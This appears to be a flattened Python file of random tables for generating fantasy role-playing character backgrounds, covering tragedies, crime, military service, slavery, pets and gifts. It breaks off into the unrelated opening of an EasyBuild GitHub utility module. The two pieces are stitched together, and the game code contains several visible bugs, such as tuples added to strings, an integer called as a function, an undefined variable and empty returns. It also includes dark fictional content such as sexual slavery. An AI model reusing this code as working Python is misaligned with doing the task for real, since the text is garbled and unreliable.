4: hobby = 'team ball sport' elif rand == 5: hobby = 'horse racing' elif rand == 6: hobby = 'swimming' elif rand == 7: hobby = 'archery' elif rand == 8: hobby = 'boxing' elif rand == 12: hobby = 'building detailed models' elif rand == 13: hobby = 'developing appreciation of the arts' elif rand == 14: hobby = 'hairdressing and cosmetics' elif rand == 15: hobby = 'hunting for sport' elif rand == 16: hobby = 'gardening' elif rand == 17: hobby = 'breeding dogs' elif rand == 18: hobby = 'animal husbandry' elif rand == 19: hobby = 'fishing for sport' elif rand == 20: hobby = 'heraldry' return hobby + ' (interest: ' + hobbiesTable427c() + ')' def hobbiesTable427c(): rand = randint(1,10) if rand <= 2: return 'casual' elif rand <= 7: return 'sporadic and variable' elif rand <= 9: return 'devoted' elif rand == 10: return 'consuming passion' def tragediesTable528(): global solMod rand = randint(1,19) + solMod if rand == -2: return 'wild beasts attack. Character is injured ' #870 + #753 elif rand == -1: return tragediesTable528() #should re-roll without solMod, but fuck it for now elif rand == 0: return 'imprisoned for a crime the character did not commit, ' #875, #540 elif rand == 1: return tragediesTable528() #this should be different as well elif rand == 2: return 'parents/guardians unable to pay their taxes, ' #546 elif rand == 3: return 'a favorite pet dies' #requires 750 elif rand == 4: return 'orphaned! ' #546 elif rand == 5: tragedy = 'place character lives is wiped out by ' rand = randint(1,6) if rand == 1: return tragedy + ' a deadly disease' elif rand <= 3: return tragedy + ' a terrible fire' elif rand <= 5: return tragedy + ' war' elif rand == 6: return tragedy #750 go hurr elif rand == 6: return 'character is responsible for a death, ' #750 and 545 elif rand == 7: return 'orphaned! ' #546 elif rand == 8: #skipping the original 8 tragedy = 'a favorite possession is ' rand = randint(1,6) if rand <= 3: return tragedy + ' lost' elif rand <= 5: return tragedy + ' stolen' elif rand == 6: return tragedy + ' stolen, with a fake left in its place' elif rand == 9: rand = randint(1,6) if rand <= 3: tragedy1 = 'father is outlawed due to ' elif rand == 4: tragedy1 = 'mother is outlawed due to ' elif rand <= 6: tragedy1 = 'parents are both outlawed due to ' return tragedy1 #875 elif rand == 10: return 'character sold into slavery, ' + enslavedTable539() elif rand == 11: rand = randint(1,8) if rand <= 4: tragedy1 = 'an accident' if rand == 5: tragedy1 = 'a terrible fire' if rand == 6: tragedy1 = 'an animal attack' if rand <= 8: tragedy1 = 'an attack by ' #750 return 'character receives a severe injury due to ' + tragedy1 elif rand == 12: rand = randint(1,2) if rand == 1: tragedy = 'father was killed by ' elif rand == 2: tragedy = 'mother was killed by ' rand = randint(1,3) if rand <= 2: return tragedy + 'an accident' elif rand == 3: return tragedy #750 and 545 elif rand == 13: return 'character is banned from performing their profession and is cast out of guilds, their identity is known and they cannot continue to practice in the nearby vicinity' elif rand == 14: return 'if character has a lover, roll on this table' #I'll be elaborating on this once the basics of everything are written out elif rand == 15: return 'a disease almost kills the character and leaves horrible scars' elif rand == 16: return "war ravages the character's homeland, forcing them to join the military: " + militaryTable535(charCulture, solMod) elif rand == 17: return "a fire destroys the character's home, along with all of their personal belongings" elif rand == 18: return "character is cursed " #868 elif rand == 19: return "character's best friend dies" #545 elif rand == 20: preSuppose = "family estate destroyed by " rand = randint(1,6) if rand == 1: return preSuppose + '' elif rand <= 3: return preSuppose + 'a terrible fire' elif rand == 4: return preSuppose + 'an unexplainable accident' elif rand == 5: return preSuppose + 'war' elif rand == 6: return preSuppose + "someone's actions" #750 elif rand == 21: return 'imprisoned for a crime the character did not commit, ' #875, #540 elif rand == 22: return tragediesTable528() #reroll is supposed to be without solMod, will fuck around with later elif rand == 23: return "character's family loses all wealth" elif rand == 24: return 'character is disinherited by parents' elif rand <= 26: return 'character is forced into an unwanted political marriage.' elif rand <= 28: return "a shift in economy causes severe inflation, causing wealth of character's family to drop to a tenth of what it was" elif rand <= 30: return tragediesTable528() #reroll is supposed to be without solMod, will fuck around with later elif rand == 31: return "source of character or character's family's income is destroyed or lost" elif rand == 32: rand = randint(1,6) return "character's family is stripped of all titles and lands by the ruler of the land" + (("", ", the family is outlawed")[rand == 6]) def wonderfulTable529(solMod): rand = randint(1,20) + solMod if rand <= -2: return "Wild beasts attack the character's camp. The character discovers they have the innate ability to command wild beasts." elif rand <= -1: return "The ruler pardons all prisoners of the land." elif rand <= 1: rand = randint(1,2) return "If the character has a lover or spouse, they are blessed with a beautiful, healthy " (("boy", "girl"), rand == 1) + "." elif rand <= 2: return "While repairing the family home, the character discovers a " + giftsTable863() elif rand <= 3: return "Character acquires a " #759 elif rand <= 4: return "Character is adopted into a wealthy family, treated well." elif rand <= 5: return "The village the character lives in is destroyed, but is rebuilt and becomes more prosperous than ever." elif rand <= 6: return "The character is responsible for saving the life of " #750 elif rand <= 9: return wonderfulTable529(0) elif rand <= 10: return "An evil lcoal ruler outlaws the character's parents. " + str(randint(1,10)) + " years later, the ruler's liege overthrows them. The character's parents are pardoned and honored with elevation to nobility due to their role in the ruler's demise." elif rand <= 11: return "" elif rand <= 12: return elif rand <= 14: return elif rand <= 16: return elif rand <= 18: return elif rand <= 19: return elif rand <= 20: return elif rand <= 21: return elif rand <= 23: return elif rand <= 25: return elif rand <= 27: return elif rand <= 29: return elif rand <= 32: return elif rand <= 33: return #skipping race-specific events for now, which is 530-533 def underworldTable534(): beginning = random_choice(underworldTable534a) crimeType = underworldTable534b() crimeEvent = underworldTable534c() underworldTable534a = { 'character needs money to pay debts': 1, 'peer pressure forces the character to do criminal acts': 1, 'character has a pathological urge to do wrong': 1, 'character wants to defy authority': 1, "character wants to live a lifestyle they can't afford": 1, 'character seeks a lifestyle filled with thrills and excitement': 1, 'character seeks to wield power in the crime world': 1, 'character is forced into a life of crime by cirminals who threaten their loved ones': 1 } def underworldTable534b(): rand = randint(1,6) if rand == 1: return 'petty theft' elif rand == 2: return 'organized guild thievery' elif rand == 3: return 'organized crime: ' #875 elif rand == 4: rand = randint(1,9) preSuppose = 'independent criminal involved in ' if rand == 1: second = 'prostitution' elif rand == 2: second = 'being a hired thug' elif rand == 3: second = 'burglary' elif rand == 4: second = 'smuggling' elif rand == 5: second = 'violating curfew' elif rand == 6: second = 'stealing livestock' elif rand == 7: second = 'selling drugs' elif rand == 8: second = 'robbing money lenders and stores' elif rand == 9: second = 'kidnapping' return preSuppose + second elif rand == 5: return 'piracy' #534d elif rand == 6: return 'banditry' def underworldTable534c(): rand = randint(1,20) if rand == 1: return 'join a gang' elif rand == 2: return 'jailed in a sweep of the streets by law enforcement' elif rand == 3: return 'seriously wounded in a fight' #870 elif rand == 4: return 'character is a common criminal suspect regarding any crimes that happen in their town' elif rand == 5: rand = randint(1,6) return 'character becomes an informant for the law' + (("", ", labeled as a snitch, with a contract on their life")[rand == 6]) elif rand == 6: return 'character participates in a jewel heist, only for their ' + str(randint(1,4)) + 'partners to disappear with the loot' elif rand == 7: return 'a key gang boss is slain and the character is blamed, members of the gang seek the death of the character' elif rand == 8: return 'character is imprisoned for a crime' #875 elif rand == 9: return 'character becomes a proficient thief' elif rand == 10: return 'character goes straight, ending their life of crime. Still often recognized by criminals who remember the old days, though' elif rand == 11: return 'character develops extensive contacts in the underworld' elif rand == 12: return 'character learns the surrounding sewers like the back of their hand' elif rand == 13: return "character learns secret passages to a noble's estate" elif rand == 14: return 'character discovers that several items taken in a recent heist are cursed.' #863 and #868 elif rand == 15: return "a crime lord becomes the character's patron, grooming them to a leader of organized crime" elif rand == 16: return "character's friends are killed off in horrible ways and law enforcement has no interest in stopping the killer. only the character and one friend survive." elif rand == 17: return "character discovers that a prominent government official is the head of a major crime ring" elif rand == 18: return "character's thieving skills improve considerably" elif rand == 19: return "character steals and hides a valuable gem, only to later find out it was stoled by one of the character's criminal 'friends'" elif rand == 20: return 'character becomes the leader of a gang' def underworldTable534d(): rand = randint(1,10) if rand == 1: return 'pirate captain buries treasure on a deserted island' elif rand == 2: return 'pirate crew is captured and all but the character are hanged' elif rand == 3: return 'character becomes adept at sailing a big ship' elif rand == 4: return 'pirate crew mutinies and the character is voted captain by the mutineers. The old captain vows revenge.' elif rand == 5: return 'pirates discover a lost island with a mysterious temple. All members of the crew are cursed by the magic of the temple, ' #868 elif rand == 6: return 'an old salt teaches the character how to become an expert in wielding a cutlass' elif rand == 7: return 'a raid on a large treasure ship gives the character a lot of gold' elif rand == 8: return 'pirate captain is a woman known for taking vengeance on male captives.' elif rand == 9: return 'due to wide travel on the pirate ship, character becomes moderately skilled at ' + str(randint(1,6)+1) + ' languages.' elif rand == 10: return "character becomes oen of the captain's officers" def militaryTable535(charCulture, solMod): service = militaryTable535a(charCulture) event = militaryTable535b(0, charCulture) rank = militaryRankTable538(solMod) def militaryTable535a(charCulture): rand = randint(1,20) if charCulture == 'Primitive': if rand <= 12: return 'light infantry' elif rand <= 14: return 'medium infantry' elif rand <= 16: return 'archer' elif rand <= 18: return 'light cavalry' elif rand <= 20: return 'mercenary (' + militaryTable535a(charCulture) + ')' elif charCulture == 'Civilized': if rand <= 1: return 'light infantry' elif rand <= 6: return 'medium infantry' elif rand <= 8: return 'heavy infantry' elif rand <= 10: return 'archer' elif rand <= 11: return 'chariots' elif rand <= 13: return 'light cavalry' elif rand <= 14: return 'heavy cavalry' elif rand <= 16: return 'mercenary (' + militaryTable535a(charCulture) + ')' elif rand <= 18: return 'navy' elif rand <= 19: return 'special forces' #537 baybay elif rand <= 20: return 'noncombat duty' #536 else: #nomad and barbarian use the same thing, soooooo if rand <= 3: return 'light infantry' elif rand <= 7: return 'medium infantry' elif rand <= 8: return 'archer' elif rand <= 10: return 'chariots' elif rand <= 15: return 'light cavalry' elif rand <= 17: return 'mercenary (' + militaryTable535a(charCulture) + ')' elif rand <= 19: return 'navy' elif rand <= 20: return 'noncombat duty' #536 def militaryTable535b(modifier, charCulture): rand = randint(1,20) + modifier if rand <= 6: #battle rolls are fucking big preSuppose = 'Battle! ' return preSuppose + militaryTable535bA() elif rand <= 8: return 'Character enlists for another tour of duty.' elif rand <= 9: return "Character's prowess and intelligence earn them reassignemnt to a special forces unit: " #537 elif rand <= 10: return 'Character is transferred to a noncombat unit: ' #536 elif rand <= 11: return 'Character is made an officer.' elif rand <= 12: rand = randint(1,5) if rand == 5: return "Character's unit is involved in " + str(randint(1,10)) + " skirmishes. One particular battle: " + militaryTable535bA() return "Character's unit is involved in " + str(randint(1,10)) + " skirmishes." elif rand <= 13: return "Character's unit is ambushed! " + militaryTable535bA(randint(1,4)) elif rand <= 14: return "Character's unit is involved in a plot to overthrow the government. " elif rand <= 15: return "Character is reassigned to special forces: " #537 elif rand <= 16: rand = randint(1,6) return "A disease ravages the army." + (("", " The character becomes sensitive to cold and damp."), rand == 6) elif rand <= 17: return "Character re-enlists for another hitch. " + militaryTable535b(0, charCulture) elif rand <= 18: return "Character learns to be proficient with a new weapon." elif rand <= 19: return "Character's hitch is extended by " + str(rand(1,4)) + " years due to a major war breaking out. " + militaryTable535b(5, charculture) elif rand <= 21: return "A fierce war breaks out due to " + random_choice(militaryTable535bB) + ". Result of most important battle: " + militaryTable535bA elif rand <= 23: return "Character increases their aptitude of their occupation." elif rand == 24: return "Character is assigned to accompany a military unit in the field. " + militaryTable535b(0, charCulture) elif rand == 25: return "In the service of " #543 def militaryTable535bA(modifier = 0): rand = randint(1,20) + modifier if rand <= 1: battleOccur = str(randint(1,100)) + "\% of the character's side was killed. They fought poorly and received an injury, " #870 also their military career could end elif rand <= 2: battleOccur = 'Serious casualties and the character was injured, being granted an impressive scar.' elif rand <= 3: battleOccur = 'The horror of battle causes the character to develop an exotic personality feature, ' #649 # elif rand <= 5: skipping for now due to re-rolling # battleOccur = '' elif rand <= 7: battleOccur = 'Character sees action, but nothing noteworthy occurs.' elif rand <= 8: battleOccur = 'Character fought well, with many a foe dying by their hands.' elif rand <= 9: battleOccur = 'Character fought well and became known for their heroism. For this, they were promoted.' elif rand <= 10: battleOccur = 'Character is captured and enslaved: ' + enslavedTable539() elif rand <= 11: battleOccur = 'Character is decorated for heroism.' elif rand <= 12: battleOccur = 'Character was a coward in battle and, even though no one noticed, must live with their actions.' elif rand <= 13: battleOccur = "Character's best friend dies at their side." elif rand <= 14: battleOccur = 'Character is the only survivor of their unit.' elif rand <= 15: battleOccur = 'Character deserts during battle, revealing their cowardly side.' elif rand <= 16: battleOccur = 'Character is responsible for the deaths of ' + str(randint(1,10)) + ' of their comrades.' elif rand <= 17: battleOccur = 'Character slays the leader of the enemy.' elif rand <= 18: battleOccur = "Character's superior is slain and they assume command." elif rand <= 19: battleOccur = 'Regardless of battle performance, character is accused of dereliction of duty and is court-martialed.' elif rand <= 20: rand = randint(1,6) battleOccur = 'An act of the character reverses the outcome of the battle.' + (("", " They are recognized for it."), rand == 6) elif rand <= 21: battleOccur = "Victor's side suffers light casualties. " + militaryTable535b(0, charCulture) elif rand <= 22: battleOccur = "Loser's side is utterly destroyed. " + militaryTable535b(0, charCulture) return battleOccur militaryTable535bB = { 'armies from a neighboring land': 3, 'armies of monsters': 1, 'a civil war': 2, 'a peasant rebellion': 1, 'a war of succession': 1, 'a holy war': 1, 'monsters from another plane': 1 } def noncombatTable536(charCulture): rand = randint(1,20) if rand <= 3: return "A regular occupation, " + occupationsTable420(charCulture) elif rand <= 5: return "Medical corps" elif rand == 6: return "Recruiter" elif rand == 7: return 'quartermaster corps' elif rand == 8: return 'Instructor' elif rand == 9: return 'Engineer' elif rand == 10: return 'Messenger' elif rand == 11: return 'Cook' elif rand == 12: return 'Embassy guard' elif rand == 13: return 'Mage guard' elif rand == 14: return 'Prison guard' elif rand == 15: return 'Payroll guard' elif rand == 16: return 'City guard' elif rand == 17: return 'Private body guard to leader' elif rand == 18: return 'Palace guard' elif rand == 19: return 'Temple guard' elif rand == 20: return 'border guard' specialForcesTable537 = { 'ranger': 2, 'scout': 2, 'monster squad': 1, 'marine': 2, 'suicide squad': 1, 'war machine': 1, 'espionage': 1 } def militaryRankTable538(solMod): rand = randint(1,6) + solMod if rand <= 10: return "Soldier" elif rand <= 12: return 'Corporal' elif rand <= 15: return 'Sargeant' elif rand <= 16: return 'Second Lieutenant' elif rand <= 18: return 'First Lieutenant' elif rand <= 20: return 'Captain' elif rand <= 24: return 'Major' elif rand <= 25: return "Colonel" def enslavedTable539(): rand = randint(1,20) if rand <= 1: # Escape situation rand = randint(1,8) if rand == 1: return 'character escaped slavery, a reward of ' + str(randint(1,10)*100) + ' gold is offered for their capture' elif rand == 2: return str(randint(1,6)) + ' slaves accompanied the character in their escape from slavery' elif rand == 3: return 'the government is offering a bounty on the escaped slave' elif rand == 4: return "the owner's " + random_choice(relativesTable753) + "helped the character escape from slavery" elif rand == 5: return 'while escaping from slavery, the character killed their owner' elif rand == 6: return 'while escaping slavery, the character stole ' + giftsTable863() elif rand == 7: return 'the character, owned by a slaverunner, was set free by the owner who is in love with them' elif rand == 8: return 're-roll on table shit, ugh.' elif rand <= 2: #owner decides to free character rand = randint(1,10) if rand == 1: rand = randint(1,8) if rand <= 4: return 'character is freed from slavery by owner, who is a good friend' elif rand <= 7: return "character is freed from slavery by owner, who becomes the character's patron" # table 543 here elif rand <= 8: return "character is freed from slavery by owner, who becomes the character's companion" # table 761 here elif rand <= 2: return 'character is freed from slavery by owner due to religious conversion, character is paid ' + str(randint(2,20)) + ' gold coins in reparations' elif rand <= 4: return 'character is reunired with relatives after being freed from slavery' elif rand <= 5: return 'owner dies and their will specifies that slaves are to be freed' elif rand <= 7: return ' the slave is unable to be used for work and enlists in the military' #go to table 535 elif rand <= 8: return 'the character escapes slavery with the help of another, who becomes their companion' #go to table 863 elif rand <= 9: return "while in slavery, the character saves their owner's life. the owner gives the character their freedom and " + giftsTable863 elif rand <= 10: return '3x re-roll, will set up later' elif rand <= 3: return 'the ruler of the land declares slavery illegal and the player is given ' + str(randint(1,100)) + ' gold as reparations' elif rand <= 4: return 'the character is freed of slavery by saving money and buying their own freedom' elif rand <= 5: return 'owner dies' #there will be a bunch more rolls here elif rand <= 7: return 'character improves their occupational skill rating by one while in slavery' elif rand <= 8: return 'character improves their occupational skill rating by ' + str(randint(2,4)) + ' while in slavery' elif rand <= 9: return 'while in slavery, the character is often beaten by their owner' elif rand <= 10: return 'character learns an additional skill at rank 1 while enslaved' elif rand <= 11: return 'as a slave, the character is a sexual plaything of the owner and has no other duties.' elif rand <= 12: return 'character participates in a slave revolt' #more rolls will go here elif rand <= 13: return 'while enslaved, a character is promoted to a position of authority' elif rand <= 14: return "while enslaved, the character is the owner's favorite and becomes the senior slave. one of the other slaves becomes the character's rival" #roll table 762 here elif rand <= 15: return 'character is used as breeding stock. if male, produces ' + str(randint(1,10)) + ' kids per year. if female, one per year' elif rand <= 16: return 'character is resold ' + str(randint(1,3)) + ' times during their enslavement' elif rand <= 17: return 'character is branded on their ' + bodyLocationTable867 elif rand <= 18: return 'the character attempts to escape from slavery, fails, and is branded on their ' + bodyLocationTable867 + '. they are also beaten more often' elif rand <= 20: return 'an exotic event occurs that causes the character to be freed' #roll on table 544 here def DarksideTraitsTable648(): rand=randint(2,40) if rand == 2: return "pessimist" elif rand == 3: return "egoist" elif rand == 4: return "obstructive" elif rand == 5: return "cruel" elif rand == 6: return "careless" elif rand == 7: return "thoughtless" elif rand == 8: return "flippant" elif rand == 9: return "drunkard" elif rand == 10: return "suspicious" elif rand == 11: return "violent" elif rand == 12: return "argumentative" elif rand == 13: return "irreverent" elif rand == 14: return "cheat" elif rand == 15: return "hateful" elif rand == 16: return "selfish" elif rand == 17: return "slovenly" elif rand == 18: return "filthy" elif rand == 19: return "tardy" elif rand == 20: return "self-doubting" elif rand == 21: return "cowardly" elif rand == 22: return "disrespectful" elif rand == 23: return "angry" elif rand == 24: return "impatient" elif rand == 25: return "foolish" elif rand == 26: return "greedy" elif rand == 27: return "dull" elif rand == 28: return "vengeful" elif rand == 29: return "immoral" elif rand == 30: return "untrustworthy" elif rand == 31: return "rude" elif rand == 32: return "harsh" elif rand == 33: return "unfriendly" elif rand == 34: return "egotistic" elif rand == 35: return "lazy" elif rand == 36: return "liar" elif rand == 37: return "morose" elif rand == 38: return "unenthuastic" elif rand == 39: return "spendthrift" elif rand == 40: return "tactless" nonhumansTable751 = { 'elf': 4, 'dwarf': 3, 'halfling': 3, 'half elf': 4, 'beastman': 1, 'reptileman': 1, 'orc': 1, 'half orc': 2 } relativesTable753 = { 'first cousin': 1, 'second cousin': 1, 'distant cousin': 1, 'son': 1, 'daughter': 1, 'sister': 1, 'brother': 1, 'spouse': 1, 'aunt': 1, 'uncle': 1, 'great aunt': 1, 'great uncle': 1, 'mother': 1, 'father': 1, 'grandmother': 1, 'grandfather': 1, 'great grandmother': 1, 'great grandfather': 1, 'descendent': 1, 'unknown relation': 1 } def guardiansTable754(cuMod): rand = randint(1,20) rand = 10 if rand <= 5: return random_choice(relativesTable753) elif rand <= 8: return 'raised in an orphanage' elif rand <= 10: return familyTable106a(cuMod) elif rand <= 11: return 'raised by priests or monks of ' + deitiesTable864(cuMod) elif rand <= 12: return 'raised by ' + random_choice(nonhumansTable751) elif rand <= 13: return 'sold into slavery ' + enslavedTable539() elif rand <= 14: return 'raised on the street by beggars and prostitutes' elif rand <= 15: return "raised by a thieves' guild" #table534 here elif rand <= 16: return 'raised by different relatives, passed between them until coming of age' elif rand <= 17: return 'raised by an adventurer: ' #table757 elif rand <= 18: return 'character mysteriously disappeared for ' + str(randint(1,10)) + ' years' elif rand <= 19: return 'raised by beasts in the wild' elif rand <= 20: return 'raised by ' #table 756 criminalTable755 = { 'murderer': 1, 'kidnapper': 2, 'thief': 3, 'pickpocket': 4, 'extortionist': 5, 'con man': 6, 'armed robber': 7, 'highwayman': 8, 'gang bandit': 9, 'professional assassin': 10, 'drug dealer': 11, 'mugger': 12, 'horse thief': 13, 'rustler': 14, 'thug': 15, 'pimp': 16, 'prostitute': 17, 'gang leader': 18, 'rapist': 19, 'pirate': 20 } nobleTable758prim = { 'high king': 1, 'chieftain': 29, 'subchieftain': 70 } nobleTable758nomad = { 'kahn': 10, 'chieftain': 30, 'subchieftain': 40, 'hetman': 20 } nobleTable758barb = { 'high king': 2, 'king': 13, 'prince(ss)': 10, 'chieftain': 20, 'jarl': 15, 'subchieftain': 10, 'baron': 5, 'prince(ss) (royal)': 5, 'hetman': 20 } nobleTable758civil = { 'emperor': 1, 'king': 4, 'prince(ss) (royal)': 10, 'archduke': 5, 'duke': 5, 'marquis': 10, 'viscount': 15, 'count': 10, 'baron': 15, 'lord': 3, 'prince(ss)': 12, 'knight': 10 } def nobleTable758tiMod(nobleTitle): if nobleTitle == 'hetman': return randint(1,6) elif nobleTitle == 'knight': return randint(2,12) elif nobleTitle == 'prince(ss)': return randint(4,40) elif nobleTitle == 'lord': return randint(2,16) elif nobleTitle == 'baron': return randint(2,20) elif nobleTitle == 'count': return randint(3,18) elif nobleTitle == 'subchieftain': return randint(2,12) elif nobleTitle == 'jarl': return randint(3,18) elif nobleTitle == 'viscount': return randint(3,24) elif nobleTitle == 'chieftain': return randint(3,18) elif nobleTitle == 'marquis': return randint(3,30) elif nobleTitle == 'duke': return randint(4,32) elif nobleTitle == 'archduke': return randint(4,40) elif nobleTitle == 'prince(ss) (royal)': return randint(4,40) elif nobleTitle == 'kahn': return randint(5,40) elif nobleTitle == 'king': return 39 elif nobleTitle == 'high king': return randint(5,50) elif nobleTitle == 'emperor': return 60 else: raise ValueError("\nnobleTable758tiMod isn't getting a nobleTitle pushed to it.") def unusualPetsTable759(): rand = randint(1,20) if rand <= 2: petType = 'dog' elif rand <= 4: petType = 'cat' elif rand <= 5: petType = 'rabbit' elif rand <= 6: petType = 'lizard' elif rand <= 7: petType = 'monkey' elif rand <= 8: petType = 'raccoon' elif rand <= 9: petType = 'rat' elif rand <= 10: petType = 'snake' elif rand <= 11: petType = 'hawk' elif rand <= 12: petType = 'mouse' elif rand <= 13: petType = 'ferret' elif rand <= 14: petType = 'songbird' elif rand <= 15: rand = randint(1,3) if rand == 3: petType = 'fish (that can survive out of water)' else: petType = 'fish' elif rand <= 16: petType = 'puppy' elif rand <= 17: petType = 'mini-dragon' elif rand <= 18: petType = 'big cat' elif rand <= 19: petType = 'baby bear that stays a baby' elif rand <= 20: petType = 'something alien' petAbility = specialPetAbilitiesTable760() return petType + ' (' + petAbility + ')' def specialPetAbilitiesTable760(): rand = randint(1,20) if rand <= 1: return 'has wings' elif rand <= 2: return 'very intelligent' elif rand <= 3: return 'telepathic' elif rand <= 4: return 'unusual color: ' + colorsTable865 elif rand <= 5: rand = randint(1,10) return 'pet is made of odd substance' elif rand <= 6: return 'pet has physical affliction ' #table874 here elif rand <= 7: return 'pet can use magic spells' elif rand <= 8: return 'pet is invisible to all but owner' elif rand <= 9: return 'pet regenerates damage done to it' elif rand <= 10: return 'when killed, pet will possess nearest animal' elif rand <= 11: rand = randint(1,2) if rand == 1: return 'pet is unusually large' else: return 'pet is unusually small' elif rand <= 12: return 'once per day, pet may assume attractive human form for ' + str(randint(1,6)) + ' hours' elif rand <= 13: return 'draws magical power from its master' elif rand <= 14: return 'supplies magical power to master' elif rand <= 15: return "pet's life is added to character's own as long as the pet lives" elif rand <= 16: return 'breathes fire' elif rand <= 17: return 'can increase its size and strength ' + str(randint(1,10)) + ' times their normal amount once per day for ' + str(randint(1,6)) + ' hours' elif rand <= 18: return 'can provide master with ' + str(randint(1,6)) + ' gold per day' elif rand <= 19: return 'can turn into mist at will' elif rand <= 20: return 'reroll shit' def companionTable761(): companionWho = companionTable761a() companionWhy = companionTable761b() companionPersonality = companionTable761c() return companionWho + ', because ' + companionWhy + ', personality: ' + companionPersonality def companionTable761a(): rand = randint(1,9) #easily able to add 10 to this for the re-roll once everything is set up if rand == 1: return 'childhood friend' elif rand == 2: return 'a family member, ' + random_choice(relativesTable753) elif rand == 3: return 'a nonhuman, ' + random_choice(nonhumansTable751) elif rand == 4: return 'a stranger, ' #table 750 go hurr elif rand == 5: return 'an intelligent, articulate inanimate object' elif rand == 6: return 'a kid aged ' + str(randint(7,13)) elif rand == 7: rand = randint(1,2) if rand == 1: return 'an older sibling' else: return 'a younger sibling' elif rand == 8: return 'an adventurer, ' #table 757 elif rand == 9: return 'a former enemy or rival, ' #table 762 go hurr #elif rand == 10: def companionTable761b(): rand = randint(1,9) if rand == 1: return 'character saved their life' elif rand == 2: return 'they seek a similar goal, are friendly rivals' elif rand == 3: return 'parents were companions in adventure' elif rand == 4: return 'they share the same enemy' elif rand == 5: return 'they were in the same place and in trouble at the same time' elif rand == 6: return 'the companion imagines the character a hero and wants to learn from them' elif rand == 7: return "the companion's original intent was to steal from the character" elif rand == 8: return 'companion feels a need to protect the character' elif rand == 9: return 'mysterious voices and feelings told the companion to seek out the character and join them' def companionTable761c(): rand = randint(1,10) if rand <= 3: return 'loyal friend' elif rand <= 5: return 'bumbling buffoon' elif rand <= 6: return 'grim, quiet ally' elif rand <= 7: return 'enthusiastic leader-type' elif rand <= 8: return 'a wise-cracking smart mouth who complains' elif rand <= 9: return 'rowdy fighter' elif rand <= 10: return 'incurable romantic' def giftsTable863(): rand = randint(1,20) if rand <= 1: return random_choice(giftsTable863a) elif rand <= 2: return 'guardianship of a young ward. Use table 761' elif rand <= 3: return 'unusual pet. Use table 760' elif rand <= 4: return random_choice(giftsTable863b) elif rand <= 5: return 'a tapestry' elif rand <= 6: return 'an anachronistic device' elif rand <= 7: return 'a key' elif rand <= 8: return 'a locked or sealed book' elif rand <= 9: return 'a shield' elif rand <= 10: return 'a sealed bottle' elif rand <= 11: return 'a tarnished old helmet' elif rand <= 12: return 'a bound wooden staff' elif rand <= 13: return 'a riding animal' elif rand <= 14: return 'a deed to ' + random_choice(giftsTable863c) elif rand <= 15: return 'a musical instrument' elif rand <= 16: return random_choice(giftsTable863d) elif rand <= 17: return 'a pouch of papers containing ' + random_choice(giftsTable863e) elif rand <= 18: return 'a sealed trunk' elif rand <= 19: return 'a chainmail hauberk' elif rand <= 20: return 'roll again shenanigans' giftsTable863a = { 'an ornate dagger': 1, 'an ornate sword': 1, 'a plain sword': 1, 'a mace': 1, 'an ornate spear': 1, 'a well-made bow': 1, 'an ornate battle axe': 1, 'an exotic weapon': 1, } giftsTable863b = { 'amulet': 1, 'necklace': 1, 'earrings': 1, 'tiara': 1, 'torc': 1, 'arm band': 1, 'ring': 1, 'pin or brooch': 1, } giftsTable863c = { 'a tract of land': 1, 'an ancient castle': 1, 'a country manor': 1, 'an elegant town house': 1, 'a temple': 1, 'a factory': 1, 'ancient ruins': 1, 'an inn': 1, 'an apartment building': 1, } giftsTable863d = { 'a hat': 1, 'a pair of shoes': 1, 'a belt': 1, 'a cape': 1, 'a tunic': 1, 'trousers': 1, 'a pair of stockings': 1 } giftsTable863e = { "an ancient ancestor's letter to his descendents": 1, 'a map': 1, 'an undelivered letter': 1, 'diagrams and plans for a mysterious invention': 1, 'a scroll of magic spells': 1, 'a wild story of adventure': 1, 'a last will and testament determining that the character is an heir': 1, 'a treasure map': 1, "the character's true family history": 1 } def deitiesTable864(cuMod=0): rand = randint(1,20) + cuMod if rand <= 1: return 'ancestor worship' elif rand <= 2: return 'beast gods' elif rand <= 3: return 'hunting god' elif rand <= 4: return 'trickster' elif rand <= 5: return 'earth goddess' elif rand <= 6: return 'agricultural goddess' elif rand <= 8: return 'agricultural goddess' elif rand <= 10: return 'ruling deity' elif rand <= 11: return 'sea god' elif rand <= 12: return 'sun god' elif rand <= 13: return 'moon goddess' elif rand <= 14: return 'storm god' elif rand <= 15: return 'evil god' elif rand <= 16: return 'war god' elif rand <= 17: return 'love goddess' elif rand <= 18: return 'underworld god' elif rand <= 19: return 'god of wisdom' elif rand <= 20: return 'healing god' elif rand <= 21: return 'trade god' elif rand <= 22: return 'luck goddess' elif rand <= 23: return 'night goddess' elif rand <= 24: return 'god of thieves' elif rand <= 27: return 'decadent god' else: raise ValueError("I done fucked up on the deitiesTable864") colorsTable865 = { 'red': 1, 'red orange': 1, 'orange': 1, 'yellow orange': 1, 'yellow': 1, 'yellow-green': 1, 'green': 1, 'blue-green': 1, 'blue': 1, 'blue-violet': 1, 'violet': 1, 'red violet': 1, 'pink': 1, 'white': 1, 'black': 1, 'gray': 1, 'maroon': 1, 'silver': 1, 'gold': 1, 'reroll': 1 } birthmarksTable866 = { 'dragon': 1, 'skull': 1, 'bat': 1, 'sword': 1, 'hand': 1, 'crescent moon': 1, 'claw': 1, 'eagle': 1, 'fish': 1, 'a random animal': 1 } bodyLocationTable867 = { 'right foot': 1, 'left foot': 1, 'right leg': 1, 'left leg': 1, 'abdomen': 2, 'buttocks': 2, 'back': 1, 'chest': 4, 'right arm': 1, 'left arm': 1, 'right hand': 1, 'left hand': 1, 'head': 1, 'face': 2 } ''' This is an easy copy/paste for creating dicts: Table = { '': , '': , '': , '': , '': , '': , '': , '': } '''
codeparrot/github-code-clean
## # Copyright 2012-2020 Ghent University # # This file is part of EasyBuild, # originally created by the HPC team of Ghent University (http://ugent.be/hpc/en), # with support of Ghent University (http://ugent.be/hpc), # the Flemish Supercomputer Centre (VSC) (https://www.vscentrum.be), # Flemish Research Foundation (FWO) (http://www.fwo.be/en) # and the Department of Economy, Science and Innovation (EWI) (http://www.ewi-vlaanderen.be/en). # # https://github.com/easybuilders/easybuild # # EasyBuild is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation v2. # # EasyBuild is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with EasyBuild. If not, see <http://www.gnu.org/licenses/>. ## """ Utility module for working with github :author: Jens Timmerman (Ghent University) :author: Kenneth Hoste (Ghent University) :author: Toon Willems (Ghent University) """ import base64 import copy import getpass import glob import os import random import re import socket import 